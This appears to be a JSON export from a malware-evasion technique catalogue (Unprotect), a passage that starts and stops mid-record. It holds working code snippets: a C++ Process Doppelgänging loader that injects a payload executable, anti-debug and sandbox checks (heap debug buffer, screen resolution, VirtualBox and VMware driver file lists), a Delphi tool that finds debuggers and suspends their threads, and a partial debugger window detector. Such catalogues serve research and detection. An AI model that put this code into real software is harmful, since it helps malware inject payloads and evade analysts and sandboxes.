{\r\n            OutputDebugString(L\"NtAllocateVirtualMemory(ProcessParameters) failed\");\r\n            break;\r\n        }\r\n\r\n        sz = 0;\r\n        status = NtWriteVirtualMemory(hProcess,\r\n            ProcessParameters,\r\n            ProcessParameters,\r\n            ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength,\r\n            &sz);\r\n\r\n        if (!NT_SUCCESS(status)) {\r\n            OutputDebugString(L\"NtWriteVirtualMemory(ProcessParameters) failed\");\r\n            break;\r\n        }\r\n\r\n        //\r\n        // Update PEB->ProcessParameters pointer to newly allocated block.\r\n        //\r\n        Peb = pbi.PebBaseAddress;\r\n        status = NtWriteVirtualMemory(hProcess,\r\n            &Peb->ProcessParameters,\r\n            &ProcessParameters,\r\n            sizeof(PVOID),\r\n            &sz);\r\n        if (!NT_SUCCESS(status)) {\r\n            OutputDebugString(L\"NtWriteVirtualMemory(Peb->ProcessParameters) failed\");\r\n            break;\r\n        }\r\n\r\n        //\r\n        // Create primary thread.\r\n        //\r\n        hThread = NULL;\r\n        status = NtCreateThreadEx(&hThread,\r\n            THREAD_ALL_ACCESS,\r\n            NULL,\r\n            hProcess,\r\n            (LPTHREAD_START_ROUTINE)EntryPoint,\r\n            NULL,\r\n            FALSE,\r\n            0,\r\n            0,\r\n            0,\r\n            NULL);\r\n        if (!NT_SUCCESS(status)) {\r\n            OutputDebugString(L\"NtCreateThreadEx(EntryPoint) failed\");\r\n            break;\r\n        }\r\n\r\n    } while (bCond);\r\n\r\n    if (hTransaction)\r\n        NtClose(hTransaction);\r\n    if (hSection)\r\n        NtClose(hSection);\r\n    if (hProcess)\r\n        NtClose(hProcess);\r\n    if (hThread)\r\n        NtClose(hThread);\r\n    if (hTransactedFile != INVALID_HANDLE_VALUE)\r\n        CloseHandle(hTransactedFile);\r\n    if (hFile != INVALID_HANDLE_VALUE)\r\n        CloseHandle(hFile);\r\n    if (Buffer != NULL) {\r\n        sz = 0;\r\n        NtFreeVirtualMemory(NtCurrentProcess(), &Buffer, &sz, MEM_RELEASE);\r\n    }\r\n    if (ProcessParameters) {\r\n        RtlDestroyProcessParameters(ProcessParameters);\r\n    }\r\n}\r\n\r\nvoid main()\r\n{\r\n    ProcessDoppelgänging(L\"C:\\\\test\\\\target.exe\", L\"C:\\\\test\\\\payload.exe\");\r\n    ExitProcess(0);\r\n}"
        },
        {
            "id": 14,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/58/?format=api",
            "description": "",
            "plain_code": "#define WIN32_LEAN_AND_MEAN\r\n#include <stdio.h>\r\n#include <iostream>\r\n#include <stdlib.h>\r\n#include <windows.h>\r\n#include \"defs.h\"\r\n\r\n\r\n#pragma comment(lib,\"ntdll.lib\")\r\n#pragma comment(lib,\"psapi.lib\")\r\n\r\n\r\nvoid QueryProcessHeapMethod(void)\r\n{\r\n    PDEBUG_BUFFER buffer;\r\n    buffer = RtlCreateQueryDebugBuffer(0,FALSE);\r\n    RtlQueryProcessHeapInformation(buffer);\r\n\r\n    if (buffer->RemoteSectionBase == (PVOID) 0x50000062){\r\n        MessageBoxA(NULL,\"Debugged\",\"Warning\",MB_OK);\r\n    }\r\n    else {\r\n        MessageBoxA(NULL,\"Not Debugged\",\"Warning\",MB_OK);\r\n    }\r\n    if (buffer->EventPairHandle == (PVOID) 0x00002b98) {\r\n        MessageBoxA(NULL,\"Debugged\",\"Warning\",MB_OK);\r\n    }\r\n    else {\r\n        MessageBoxA(NULL,\"Not Debugged\",\"Warning\",MB_OK);\r\n        printf(\"EventPairHandle= %x\",(int)buffer->EventPairHandle);\r\n    }\r\n}\r\nint main()\r\n{\r\n    QueryProcessHeapMethod();\r\n    return (EXIT_SUCCESS);\r\n}"
        },
        {
            "id": 15,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 5,
                "username": "fr0gger",
                "email": "thomas.roccia@microsoft.com\n\n",
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/35/?format=api",
            "description": "",
            "plain_code": "#include <iostream>\r\n#include <windows.h>\r\n\r\nint WINAPI WinMain ( HINSTANCE, HINSTANCE, LPSTR, int )\r\n{\r\n  char  ComputerName [MAX_COMPUTERNAME_LENGTH + 1];\r\n  DWORD cbComputerName = sizeof ( ComputerName );\r\n\r\n  if ( GetComputerName ( ComputerName, &cbComputerName ))\r\n     { \r\n         MessageBox ( NULL, ComputerName, \"Computer Name:\", MB_OK | MB_ICONINFORMATION ); \r\n     } \r\n}"
        },
        {
            "id": 12,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 5,
                "username": "fr0gger",
                "email": "thomas.roccia@microsoft.com\n\n",
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/31/?format=api",
            "description": "",
            "plain_code": "#include \"wtypes.h\"\r\n#include <iostream>\r\nusing namespace std;\r\n\r\n/*\r\n1024x768 can be used for automated Sandbox\r\n800x600 can be used for automated Sandbox\r\n640x480 can be used for automated Sandbox\r\n1024x697\r\n1280x800\r\n1280x960\r\n1680x1050\r\n1916x1066\r\n*/\r\n\r\nvoid GetResolution(int& horiz, int& verti)\r\n{\r\n   RECT desktop;\r\n   const HWND hDesktop = GetDesktopWindow();\r\n   GetWindowRect(hDesktop, &desktop);\r\n   horiz = desktop.right;\r\n   verti = desktop.bottom;\r\n}\r\n\r\nint main()\r\n{\r\n   int horiz = 0;\r\n   int verti = 0;\r\n   GetResolution(horiz, verti);\r\n\r\n   if(horiz < 1024)\r\n   {\r\n      cout << \"[!] Looks like you run in a sandbox!\"<< '\\n';\r\n   }\r\n\r\n   cout << \"[+] Screen resolution: \"<< horiz << \"x\" << verti << '\\n';\r\n   return 0;\r\n}"
        },
        {
            "id": 10,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 5,
                "username": "fr0gger",
                "email": "thomas.roccia@microsoft.com\n\n",
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/11/?format=api",
            "description": "",
            "plain_code": "#include <iostream>\r\n#include <windows.h>\r\n\r\nusing namespace std;\r\n\r\n\r\nBOOL FileExists(TCHAR* szPath)\r\n{\r\n\tDWORD dwAttrib = GetFileAttributes(szPath);\r\n\treturn (dwAttrib != INVALID_FILE_ATTRIBUTES) && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY);\r\n}\r\n\r\n// Check if file related to sandbox exist\r\nint CheckFile()\r\n{\r\n    bool hAppend;\r\n    LPSTR fname[] = {\"C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\agent.pyw\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\drivers\\\\vmmouse.sys\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\drivers\\\\vmhgfs.sys\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\drivers\\\\VBoxMouse.sys\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\drivers\\\\VBoxGuest.sys\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\drivers\\\\VBoxSF.sys\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\drivers\\\\VBoxVideo.sys\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\vboxdisp.dll\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\vboxhook.dll\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\vboxmrxnp.dll\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\vboxogl.dll\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\vboxoglarrayspu.dll\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\vboxoglcrutil.dll\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\vboxoglerrorspu.dll\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\vboxoglfeedbackspu.dll\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\vboxoglpackspu.dll\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\vboxoglpassthroughspu.dll\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\vboxservice.exe\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\vboxtray.exe\",\r\n                     \"C:\\\\WINDOWS\\\\system32\\\\VBoxControl.exe\",\r\n                     // ADD YOUR FILE HERE!\r\n                    };\r\n\r\n    for (int i = 0; i < (sizeof(fname) / sizeof(LPSTR)); i++)\r\n    {\r\n\r\n        if (FileExists(fname[i]))\r\n            cout << \" [+] File exist: \" << (fname[i]) << endl;\r\n\t\telse\r\n            cout << \" [-] File doesn't exist: \" << (fname[i]) << endl;\r\n\r\n    }\r\n\r\n    return 0;\r\n}\r\n\r\n\r\nint main()\r\n{\r\n    CheckFile();\r\n    return 0;\r\n}"
        },
        {
            "id": 11,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/109/?format=api",
            "description": "You can compile this unit as a classic Delphi Console Application. Feel free to edit both `LFindWindowSignatures` and `LProcessNameSignatures` to support more debuggers.",
            "plain_code": "program SuspendThread;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\nuses\r\n  WinAPI.Windows, System.SysUtils, Generics.Collections, tlHelp32, Classes;\r\n\r\ntype\r\n  TProcessItem = class\r\n  private\r\n    FName      : String;\r\n    FProcessId : Cardinal;\r\n    FThreads   : TList<Cardinal>;\r\n\r\n    {@M}\r\n    procedure EnumThreads();\r\n  public\r\n    {@C}\r\n    constructor Create(AName : String; AProcessId : Cardinal; AEnumThreads : Boolean = True);\r\n    destructor Destroy(); override;\r\n\r\n    {@G}\r\n    property Name      : String          read FName;\r\n    property ProcessId : Cardinal        read FProcessId;\r\n    property Threads   : TList<Cardinal> read FThreads;\r\n  end;\r\n\r\n  TEnumProcess = class\r\n  private\r\n    FItems : TObjectList<TProcessItem>;\r\n  public\r\n    {@C}\r\n    constructor Create();\r\n    destructor Destroy(); override;\r\n\r\n    {@M}\r\n    function Refresh() : Cardinal;\r\n    procedure Clear();\r\n\r\n    function Get(AProcessId : Cardinal) : TProcessItem; overload;\r\n    function Get(AName : String) : TProcessItem; overload;\r\n\r\n    {@G}\r\n    property Items : TObjectList<TProcessItem> read FItems;\r\n  end;\r\n\r\n{\r\n  Import API's From Kernel32\r\n}\r\nconst THREAD_SUSPEND_RESUME = $00000002;\r\n\r\nfunction OpenThread(\r\n                      dwDesiredAccess: DWORD;\r\n                      bInheritHandle: BOOL;\r\n                      dwThreadId: DWORD\r\n          ) : THandle; stdcall; external kernel32 name 'OpenThread';\r\n\r\n{\r\n  Global Vars\r\n}\r\nvar LFindWindowSignatures  : TDictionary<String, String>;\r\n    LProcessNameSignatures : TStringList;\r\n    LProcesses             : TEnumProcess;\r\n\r\n{+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n  Process Item (Process Name / Process Id / Process Main Thread Id)\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___constructor\r\n-------------------------------------------------------------------------------}\r\nconstructor TProcessItem.Create(AName : String; AProcessId : Cardinal; AEnumThreads : Boolean = True);\r\nbegin\r\n  FName      := AName;\r\n  FProcessId := AProcessId;\r\n\r\n  FThreads := TList<Cardinal>.Create();\r\n\r\n  if AEnumThreads then\r\n    self.EnumThreads();\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___destructor\r\n-------------------------------------------------------------------------------}\r\ndestructor TProcessItem.Destroy();\r\nbegin\r\n  if Assigned(FThreads) then\r\n    FreeAndNil(FThreads);\r\n\r\n  ///\r\n  inherited Destroy();\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Enumerate Threads of process object\r\n-------------------------------------------------------------------------------}\r\nprocedure TProcessItem.EnumThreads();\r\nvar ASnap        : THandle;\r\n    AThreadEntry : TThreadEntry32;\r\n\r\n    procedure InitializeItem();\r\n    begin\r\n      ZeroMemory(@AThreadEntry, SizeOf(TThreadEntry32));\r\n\r\n      AThreadEntry.dwSize := SizeOf(TThreadEntry32);\r\n    end;\r\n\r\n    procedure AppendItem();\r\n    begin\r\n      if (AThreadEntry.th32OwnerProcessID <> FProcessId) then\r\n        Exit();\r\n      ///\r\n\r\n      FThreads.Add(AThreadEntry.th32ThreadID);\r\n    end;\r\nbegin\r\n  if NOT Assigned(FThreads) then\r\n    Exit();\r\n  ///\r\n\r\n  FThreads.Clear();\r\n  ///\r\n\r\n  ASnap := CreateToolHelp32Snapshot(TH32CS_SNAPTHREAD, 0);\r\n  if (ASnap = INVALID_HANDLE_VALUE) then\r\n    Exit();\r\n  try\r\n    InitializeItem();\r\n\r\n    if NOT Thread32First(ASnap, AThreadEntry) then\r\n      Exit();\r\n\r\n    AppendItem();\r\n\r\n    while True do begin\r\n      InitializeItem();\r\n\r\n      if NOT Thread32Next(ASnap, AThreadEntry) then\r\n        break;\r\n\r\n      AppendItem();\r\n    end;\r\n  finally\r\n    CloseHandle(ASnap);\r\n  end;\r\nend;\r\n\r\n{+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n  Enumerate Process Class\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___constructor\r\n-------------------------------------------------------------------------------}\r\nconstructor TEnumProcess.Create();\r\nbegin\r\n  FItems := TObjectList<TProcessItem>.Create();\r\n  FItems.OwnsObjects := True;\r\n\r\n  ///\r\n  self.Refresh();\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___destructor\r\n-------------------------------------------------------------------------------}\r\ndestructor TEnumProcess.Destroy();\r\nbegin\r\n  if Assigned(FItems) then\r\n    FreeAndNil(FItems);\r\n\r\n  ///\r\n  inherited Destroy();\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Enumerate Running Process.\r\n  @Return: Process Count\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumProcess.Refresh() : Cardinal;\r\nvar ASnap         : THandle;\r\n    AProcessEntry : TProcessEntry32;\r\n\r\n    procedure InitializeItem();\r\n    begin\r\n      ZeroMemory(@AProcessEntry, SizeOf(TProcessEntry32));\r\n\r\n      AProcessEntry.dwSize := SizeOf(TProcessEntry32);\r\n    end;\r\n\r\n    procedure AppendItem();\r\n    var AItem : TProcessItem;\r\n    begin\r\n      AItem := TProcessItem.Create(\r\n                                    AProcessEntry.szExeFile,\r\n                                    AProcessEntry.th32ProcessID,\r\n                                    True {Enum Threads: Default}\r\n      );\r\n\r\n      FItems.Add(AItem);\r\n    end;\r\n\r\nbegin\r\n  result := 0;\r\n  ///\r\n\r\n  if NOT Assigned(FItems) then\r\n    Exit();\r\n  ///\r\n\r\n  self.Clear();\r\n\r\n  ASnap := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n  if (ASnap = INVALID_HANDLE_VALUE) then\r\n    Exit();\r\n  try\r\n    InitializeItem();\r\n\r\n    if NOT Process32First(ASnap, AProcessEntry) then\r\n      Exit();\r\n\r\n    AppendItem();\r\n\r\n    while True do begin\r\n      InitializeItem();\r\n\r\n      if NOT Process32Next(ASnap, AProcessEntry) then\r\n        break;\r\n\r\n      AppendItem();\r\n    end;\r\n  finally\r\n    CloseHandle(ASnap);\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Clear Items (Process Objects)\r\n-------------------------------------------------------------------------------}\r\nprocedure TEnumProcess.Clear();\r\nbegin\r\n  if Assigned(FItems) then\r\n    FItems.Clear;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Get Process Item by Process Id or Name\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumProcess.Get(AProcessId : Cardinal) : TProcessItem;\r\nvar AItem : TProcessItem;\r\n    I     : Integer;\r\nbegin\r\n  result := nil;\r\n  ///\r\n\r\n  for I := 0 to self.Items.count -1 do begin\r\n    AItem := self.Items.Items[I];\r\n    if NOT Assigned(AItem) then\r\n      continue;\r\n    ///\r\n\r\n    if (AItem.ProcessId = AProcessId) then begin\r\n      result := AItem;\r\n\r\n      Break;\r\n    end;\r\n  end;\r\nend;\r\n\r\nfunction TEnumProcess.Get(AName : String) : TProcessItem;\r\nvar AItem : TProcessItem;\r\n    I     : Integer;\r\nbegin\r\n  result := nil;\r\n  ///\r\n\r\n  for I := 0 to self.Items.count -1 do begin\r\n    AItem := self.Items.Items[I];\r\n    if NOT Assigned(AItem) then\r\n      continue;\r\n    ///\r\n\r\n    if (AItem.Name.ToLower = AName.ToLower) then begin\r\n      result := AItem;\r\n\r\n      Break;\r\n    end;\r\n  end;\r\nend;\r\n\r\n{+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n  Main\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}\r\n\r\n{-------------------------------------------------------------------------------\r\n  Suspend Threads of target process.\r\n-------------------------------------------------------------------------------}\r\nfunction SuspendThreadsByProcessId(AProcessId : Cardinal) : Boolean;\r\nvar AItem     : TProcessItem;\r\n    AThreadId : Cardinal;\r\n    I         : Integer;\r\n    AThread   : THandle;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  if NOT Assigned(LProcesses) then\r\n    Exit();\r\n\r\n  AItem := LProcesses.Get(AProcessId);\r\n  if NOT Assigned(AItem) then\r\n    Exit();\r\n  ///\r\n\r\n  if (AItem.Threads.count = 0) then\r\n    Exit();\r\n  ///\r\n\r\n  for I := 0 to AItem.Threads.Count -1 do begin\r\n    AThreadId := AItem.Threads.Items[I];\r\n    ///\r\n\r\n    AThread := OpenThread(THREAD_SUSPEND_RESUME, False, AThreadId);\r\n    if (AThread = 0) then\r\n      continue;\r\n    try\r\n      WriteLn(Format('Suspending: %s(%d), Thread Id: %d...', [\r\n                                                                    AItem.Name,\r\n                                                                    AItem.ProcessId,\r\n                                                                    AThreadId\r\n      ]));\r\n\r\n      WinAPI.Windows.SuspendThread(AThread);\r\n\r\n      result := True;\r\n    finally\r\n      CloseHandle(AThread);\r\n    end;\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  FindWindow API Example\r\n-------------------------------------------------------------------------------}\r\nfunction method_FindWindow() : Boolean;\r\nvar AHandle     : THandle;\r\n    AProcessId  : Cardinal;\r\n    AClassName  : String;\r\n    AWindowName : String;\r\n    pClassName  : Pointer;\r\n    pWindowName : Pointer;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  for AClassName in LFindWindowSignatures.Keys do begin\r\n    if NOT LFindWindowSignatures.TryGetValue(AClassName, AWindowName) then\r\n      continue;\r\n    ///\r\n\r\n    pClassName  := nil;\r\n    pWindowName := nil;\r\n\r\n    if NOT AClassName.isEmpty then\r\n      pClassName := PWideChar(AClassName);\r\n\r\n    if NOT AWindowName.isEmpty then\r\n      pWindowName := PWideChar(AWindowName);\r\n\r\n    AHandle := FindWindowW(pClassName, pWindowName);\r\n    if (AHandle > 0) then begin\r\n      GetWindowThreadProcessId(AHandle, @AProcessId);\r\n      if (AProcessId > 0) then\r\n        SuspendThreadsByProcessId(AProcessId);\r\n\r\n      ///\r\n      result := True;\r\n    end;\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Find Process Example (Uses the TEnumProcess Class) - See above\r\n-------------------------------------------------------------------------------}\r\nfunction method_FindProcess() : Boolean;\r\nvar AItem : TProcessItem;\r\n    AName : String;\r\n    I     : Integer;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  for I := 0 to LProcessNameSignatures.count -1 do begin\r\n    AName := LProcessNameSignatures.Strings[I];\r\n\r\n    AItem := LProcesses.Get(AName);\r\n    if (NOT Assigned(AItem)) then\r\n      continue;\r\n    ///\r\n\r\n    SuspendThreadsByProcessId(AItem.ProcessId);\r\n\r\n    ///\r\n    result := True;\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___entry\r\n-------------------------------------------------------------------------------}\r\nbegin\r\n  try\r\n    LProcesses := TEnumProcess.Create();\r\n    try\r\n      // FindWindow API\r\n      LFindWindowSignatures := TDictionary<String, String>.Create();\r\n      try\r\n        {\r\n          ...\r\n\r\n          @Param1: ClassName  (Empty = NULL)\r\n          @Param2: WindowName (Empty = NULL)\r\n\r\n          Add your own signatures bellow...\r\n        }\r\n        LFindWindowSignatures.Add('OLLYDBG', '');\r\n        {\r\n          ...\r\n        }\r\n        method_FindWindow();\r\n      finally\r\n        if Assigned(LFindWindowSignatures) then\r\n          FreeAndNil(LFindWindowSignatures);\r\n      end;\r\n\r\n      // Find by Process Name\r\n      LProcessNameSignatures := TStringList.Create();\r\n      try\r\n        {\r\n          ...\r\n\r\n          @Param1: Process Name (Example: OllyDbg.exe) - Case Insensitive\r\n\r\n          Add your own signatures bellow...\r\n        }\r\n        LProcessNameSignatures.Add('ImmunityDebugger.exe');\r\n        {\r\n          ...\r\n        }\r\n        method_FindProcess();\r\n      finally\r\n        if Assigned(LProcessNameSignatures) then\r\n          FreeAndNil(LProcessNameSignatures);\r\n      end;\r\n    finally\r\n      if Assigned(LProcesses) then\r\n        FreeAndNil(LProcesses);\r\n    end;\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 9,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/67/?format=api",
            "description": "You can build this snippet as a classic Delphi Console Application and add your own signatures for detecting debuggers and related tools.",
            "plain_code": "program FindWindowAPI;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\nuses\r\n  System.SysUtils, WinAPI.Windows, Generics.Collections, psAPI;\r\n\r\n{+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n  TFindWindowSignature Class\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}\r\n\r\ntype\r\n  TFindWindowSignature = class\r\n  private\r\n    FDescription : String;\r\n    FClassName   : String;\r\n    FWindowName  : String;\r\n  public\r\n    {@C}\r\n    constructor Create(ADescription, AClassName, AWindowName : String);\r\n\r\n    {@G}\r\n    property Description : String read FDescription;\r\n    property ClassName   : String read FClassName;\r\n    property WindowName  : String read FWindowName;\r\n  end;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___constructor\r\n-------------------------------------------------------------------------------}\r\nconstructor TFindWindowSignature.Create(ADescription, AClassName, AWindowName : String);\r\nbegin\r\n  FDescription := ADescription;\r\n  FClassName   := AClassName;\r\n  FWindowName  := AWindowName;\r\nend;\r\n\r\n{+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n  Main\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}\r\n\r\nvar LFindWindowSignatures  : TObjectList<TFindWindowSignature>;\r\n    LEnumWindowsSignatures : TDictionary<String, String>;\r\n\r\n{-------------------------------------------------------------------------------\r\n  When a Window handle is found it will output to console several information\r\n  about spotted process.\r\n-------------------------------------------------------------------------------}\r\nprocedure Found(ADescription : String; AHandle : THandle);\r\nconst CRLF = #13#10;\r\n\r\nvar AStdout_TXT    : String;\r\n    AProcessId     : Cardinal;\r\n    AProcessHandle : THandle;\r\n    ARet           : DWORD;\r\n    pImagePath     : PWideChar;\r\nbegin\r\n  try\r\n      AStdout_TXT := AStdout_TXT + StringOfChar('-', 60) + CRLF;\r\n      AStdout_TXT := AStdout_TXT + ADescription + CRLF;\r\n      AStdout_TXT := AStdout_TXT + StringOfChar('-', 60) + CRLF;\r\n\r\n      AStdout_TXT := AStdout_TXT + Format('Handle: %d%s', [AHandle, CRLF]);\r\n\r\n      GetWindowThreadProcessId(AHandle, @AProcessId);\r\n\r\n      if (AProcessId > 0) then begin\r\n        AProcessHandle := OpenProcess(\r\n                                        (PROCESS_QUERY_INFORMATION or PROCESS_VM_READ),\r\n                                        False,\r\n                                        AProcessId\r\n        );\r\n\r\n        if (AProcessHandle > 0) then begin\r\n          AStdout_TXT := AStdout_TXT + Format('Process Id: %d%s', [AProcessId, CRLF]);\r\n\r\n          pImagePath := nil;\r\n          try\r\n              GetMem(pImagePath, (MAX_PATH * 2));\r\n              ARet := GetModuleFileNameExW(AProcessHandle, 0, pImagePath, (MAX_PATH * 2));\r\n              if (ARet > 0) then begin\r\n                AStdout_TXT := AStdout_TXT + Format('Process Name: %s%s', [ExtractFileName(String(pImagePath)), CRLF]);\r\n                AStdout_TXT := AStdout_TXT + Format('Image Path: %s%s', [ExtractFilePath(String(pImagePath)), CRLF]);\r\n              end;\r\n          finally\r\n            if Assigned(pImagePath) and (ARet > 0) then\r\n              FreeMem(pImagePath, ARet);\r\n          end;\r\n        end;\r\n      end;\r\n\r\n      AStdout_TXT := AStdout_TXT + StringOfChar('-', 60) + CRLF + CRLF;\r\n\r\n      ///\r\n  finally\r\n    WriteLn(AStdout_TXT);\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Find Debuggers by Window Name or Class Name using FindWindow API\r\n-------------------------------------------------------------------------------}\r\nfunction Locate_FindWindow() : Boolean;\r\nvar AFindWindowSignature : TFindWindowSignature;\r\n    i                    : Integer;\r\n    pClassName           : Pointer;\r\n    pWindowName          : Pointer;\r\n    AHandle              : THandle;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  for i := 0 to LFindWindowSignatures.Count -1 do begin\r\n    AFindWindowSignature := LFindWindowSignatures.Items[i];\r\n    if NOT Assigned(AFindWindowSignature) then\r\n      continue;\r\n    ///\r\n\r\n    pClassName  := nil;\r\n    pWindowName := nil;\r\n\r\n    if NOT AFindWindowSignature.ClassName.isEmpty then\r\n      pClassName := PWideChar(AFindWindowSignature.ClassName);\r\n\r\n    if NOT AFindWindowSignature.WIndowName.isEmpty then\r\n      pWindowName := PWideChar(AFindWindowSignature.WindowName);\r\n\r\n    AHandle := FindWindowW(pClassName, pWindowName);\r\n    if (AHandle > 0) then begin\r\n      Found(AFindWindowSignature.Description, AHandle);\r\n\r\n      ///\r\n      result := True;\r\n    end;\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Find Debuggers by Window Name (via Window Name Pattern) using EnumWindows API\r\n-------------------------------------------------------------------------------}\r\nfunction EnumWindowProc(AHandle : THandle; AParam : LPARAM) : BOOL; stdcall;\r\nvar AMaxCount   : Integer;\r\n    AWindowName : String;\r\n    AOldLen     : Cardinal;\r\n    APattern    : String;\r\n    AKey        : String;\r\nbegin\r\n  result := True;\r\n  ///\r\n\r\n  if (AHandle = 0) then\r\n    Exit();\r\n  ///\r\n\r\n  AMaxCount := GetWindowTextLength(AHandle) + 1;\r\n  if (AMaxCount = 0) then\r\n    Exit();\r\n\r\n  SetLength(AWindowName, AMaxCount); // Other technique instead of using GetMem / FreeMem a new Pointer.\r\n  try\r\n      if (GetWindowTextW(AHandle, PWideChar(AWindowName), AMaxCount) = 0) then\r\n        Exit();\r\n      ///\r\n\r\n      AOldLen := Length(AWindowName);\r\n\r\n      for AKey {Description} in LEnumWindowsSignatures.keys do begin\r\n        if NOT LEnumWindowsSignatures.TryGetValue(AKey, APattern) then\r\n          continue;\r\n\r\n        AWindowName := StringReplace(AWindowName, APattern, '', []);\r\n\r\n        if (Length(AWindowName) <> AOldLen) then begin\r\n          Found(AKey, AHandle);\r\n\r\n          break;\r\n        end;\r\n      end;\r\n  finally\r\n    SetLength(AWindowName, 0);\r\n  end;\r\nend;\r\n\r\nfunction Locate_EnumWindows() : Boolean;\r\nbegin\r\n  EnumWindows(@EnumWindowProc, 0);\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Append FindWindow Technique Signature\r\n-------------------------------------------------------------------------------}\r\nprocedure AppendFindWindowSignature(ADescription, AClassName, AWindowName : String);\r\nvar AFindWindowSignature : TFindWindowSignature;\r\nbegin\r\n  if NOT Assigned(LFindWindowSignatures) then\r\n    Exit();\r\n  ///\r\n\r\n  AFindWindowSignature := TFindWindowSignature.Create(ADescription, AClassName, AWindowName);\r\n\r\n  LFindWindowSignatures.Add(AFindWindowSignature);\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___entry\r\n-------------------------------------------------------------------------------}\r\nbegin\r\n  try\r\n    